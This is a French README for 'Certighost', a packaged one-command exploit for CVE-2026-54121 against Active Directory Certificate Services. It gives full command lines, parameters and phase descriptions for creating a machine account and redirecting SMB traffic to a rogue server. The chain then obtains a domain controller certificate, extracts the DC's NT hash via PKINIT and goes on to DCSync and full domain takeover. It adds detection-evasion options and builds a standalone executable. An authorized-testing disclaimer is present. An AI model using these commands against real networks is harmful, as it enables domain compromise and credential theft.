
Exploit en un clic pour CVE-2026-54121 (Certighost) ciblant l'usurpation d'identité de certificats AD CS. Automatise la création de comptes machine, la redirection de trafic, l'AC rogue, PKINIT et l'extraction de hash NT pour compromettre le domaine.
Outil d'exploitation en une commande pour CVE-2026-54121 (Certighost) — réservé aux environnements de test locaux / tests autorisés.
Version native Windows basée sur le PoC amont (analyse @h0j3n / implémentation @aniqfakhrul) : redirection intégrée maison via WinDivert (pydivert), une seule commande pour « création de compte → redirection → écoute rogue → chasse CA → certificat d'identité du contrôleur de domaine → PKINIT → hash NT du compte machine du contrôleur de domaine », sans jamais arrêter le service Server, sans modifier aucune configuration de l'hôte, restauration immédiate à la sortie.
| Correctif | Description |
|---|
--redirect | Redirection intégrée WinDivert (445 → --lsa-port, filtrage étroit : n'intercepte que le trafic de l'IP du listener), démarrage/arrêt avec le processus, restauration automatique du 445 à la sortie. Remplace le PortBender officiel (dont le livrable officiel est une DLL réfléchie 32 bits spécifique à CS, impossible à exécuter de manière autonome) |
--lsa-port | Port d'écoute rogue LSA/SMB paramétrable (défaut 445 ; avec --redirect défaut 8445) |
Garde os.geteuid | Le contrôle root amont plante sous Windows → garde hasattr + message sur le port Windows |
| Vérification de disponibilité paramétrable | port_ok(127.0.0.1, 445) codé en dur en amont → args.lsa_port |
| En-tête PEP 723 | uv run certighost.py ... s'exécute directement, résolution automatique des dépendances (impacket git-master inclus), zéro pollution de l'environnement |
--new-computer-name | Nom personnalisé pour la création de compte (évite la signature de détection GHOST*) |
--new-computer-pass | Mot de passe personnalisé pour la création de compte (doit respecter la politique de mots de passe du domaine) |
Polyfill random.randbytes | impacket git-master utilise une API 3.9+ lors de l'import de smbserver ; nécessaire pour la version 3.8, implémentation via os.urandom |
| Sortie immédiate | flush + os._exit() après GGWP (élimine les blocages de plusieurs minutes dus aux threads non-daemon d'impacket) |
| Codes de sortie sémantiques | 0 succès / 1 échec |
Écriture de <dc>.hash.txt | Le hash NT du compte machine du contrôleur de domaine est écrit dans un fichier (une seule ligne name:lm:nt) |
① Pré-vérification (lecture seule, confirme la CA et les prérequis d'exploitation) :
uv run check_ca.py -d bingo.com -dc-ip 192.168.16.144 -u zhaolei -p 'pass'
Affiche la liste des CA d'entreprise, la délivrance du modèle Machine et les droits d'inscription (nécessite Enroll pour Domain Computers).
Vérifier également le flag chase sur la machine CA : certutil -getreg policy\EditFlags (doit contenir
EDITF_ENABLECHASECLIENTDC ; vérifié actif par défaut sur Server 2016).
② Exploitation en une commande (Windows, administrateur) :
uv run certighost.py -d bingo.com -u zhaolei -p '[email protected]' \
--dc-ip 192.168.16.144 --listener <IP accessible depuis la machine> --redirect \
--new-computer-name MACH$ --new-computer-pass 'Your@Pw123!'
Triple livrable (écrit automatiquement dans le répertoire d'exécution) :
| Fichier | Contenu |
|---|---|
<dc>.pfx | Certificat d'identité du contrôleur de domaine (matériau PKINIT) |
<dc>.ccache | Cache de tickets Kerberos |
<dc>.hash.txt | Hash NT du compte machine du contrôleur de domaine (une seule ligne name:lm:nt) |
③ Nettoyage (suppression du compte créé) :
uv run cleanup_ghost.py -d bingo.com -dc-ip 192.168.16.144 -u administrator -p 'pass' --prefix MACH
| Paramètre | Description |
|---|---|
-d / -u / -p / -H | Domaine / utilisateur privilégié faible / mot de passe / hash NTLM |
--dc-ip | Adresse du DC (obligatoire) |
--listener IP | IP du listener rogue (à spécifier explicitement en cas de plusieurs cartes réseau) |
--redirect | Cœur Windows : redirection WinDivert 445 intégrée (nécessite administrateur + pydivert) |
--lsa-port N | Port LSA rogue (défaut 8445 avec --redirect) |
--new-computer-name | Nom personnalisé pour la création de compte ($ ajouté automatiquement) |
--new-computer-pass | Mot de passe personnalisé pour la création de compte (mutuellement exclusif avec le chemin existing) |
--computer-name/--computer-pass/--computer-hash | Sans MAQ : réutilisation d'un compte machine déjà contrôlé |
--target-san DC01$ | Spécifie la cible à usurper (découverte automatique du DC par défaut) |
--template | Modèle de certificat (défaut Machine) |
--ca / --ca-ip | Spécification manuelle de la CA |
--debug | Traçage complet des phases de protocole |
Phase1 L'utilisateur privilégié faible crée un compte machine (chemin MAQ automatique / --new-computer-* personnalisé / --computer-* réutilisation existante)
Phase2 [Windows] Redirection WinDivert intégrée : listener_ip:445 -> :lsa_port
Filtrage étroit (uniquement cette IP), paquets réécrits hors filtre = pas de boucle de réinjection ; handle fermé avec le processus
Phase3 Serveur rogue : LDAP:389 + LSA/SMB:lsa_port (répond à la chasse cdc/rmd, alimente les données d'identité du DC)
Phase4 Soumission de la demande de certificat en tant que machine (modèle Machine), la CA rappelle le rogue → délivrance du certificat d'identité du DC
Phase5 PKINIT → le KDC renvoie le hash NT du compte machine du DC dans le PAC → extraction et écriture dans .hash.txt
Phase6 (Suite) secretsdump DCSync → krbtgt → prise de contrôle totale du domaine ; cleanup_ghost supprime le compte créé
Utilisation Linux inchangée (bind direct root 445/389, sans --redirect).
L'extraction du hash dans la chaîne d'attaque passe par PKINIT → PAC → hash NT, pas par DCSync :
Une fois le hash obtenu, utiliser secretsdump pour un DCSync est une opération deuxième étape, ce n'est pas la source du hash.
# PowerShell 7
./build_exe.ps1 # Niveau par défaut (Win10 / Server 2016+)
./build_exe.ps1 3.10 # Niveau compatibilité (Win8.1 / Server 2012 R2+)
./build_exe.ps1 legacy # Niveau hérité (Win7 SP1 / Server 2008 R2 x64)
Livrable dist\certighost_x64.exe : 19-27 Mo (selon le niveau), élévation automatique --uac-admin, zéro dépendance,
le script affiche automatiquement la somme de contrôle SHA256.
Nécessite CPython 3.8.10 officiel de python.org installé au chemin suivant (dernière build binaire officielle supportant le noyau Win7, ne dépend pas des nouvelles API UCRT) :
D:\网安相关\Tools\Python\cpython-3.8.10-x64\
Commande d'installation (silencieuse, sans PATH, sans lanceur) :
python-3.8.10-amd64.exe /quiet InstallAllUsers=0 TargetDir=D:\网安相关\Tools\Python\cpython-3.8.10-x64 PrependPath=0 Include_launcher=0
Épingler également PyInstaller==5.13.2 (le bootloader 6.x ne supporte pas le noyau Win7) et cryptography==38.0.4 (les wheels Rust exigent Win10+ à partir de 38.x), tous deux déjà figés dans le script.
| Niveau | Système réel | Chaîne complète | Remarques |
|---|---|---|---|
| Défaut | Win11 | ✅ | |
| Compatibilité 3.10 | Win11 / Win10 / Server 2012 R2 | ✅ ×3 | WinDivert réel inclus |
| Hérité legacy | Win11 / Server 2008 R2 x64 | ✅ ×2 | 3.8.10 officiel + PyInstaller 5.13.2 |
Attention : PyInstaller+impacket est une zone à forte détection antivirale, évaluer vous-même avant déploiement.
ciphertext integrity failure à la phase PKINIT : observé une fois, un nouvel essai suffitcertighost.py Exploit principal (amont + correctifs de native Windows + PEP 723)
certighost_redirect.py Redirigeur WinDivert 445 maison (pydivert ; auto-test --selftest/--e2e)
check_ca.py Pré-vérification : CA/modèle/droits d'inscription/flag chase (lecture seule)
cleanup_ghost.py Finalisation : suppression du compte créé
build_exe.ps1 Empaquetage mono-fichier PyInstaller (pwsh7, matrice à trois niveaux, SHA256 automatique)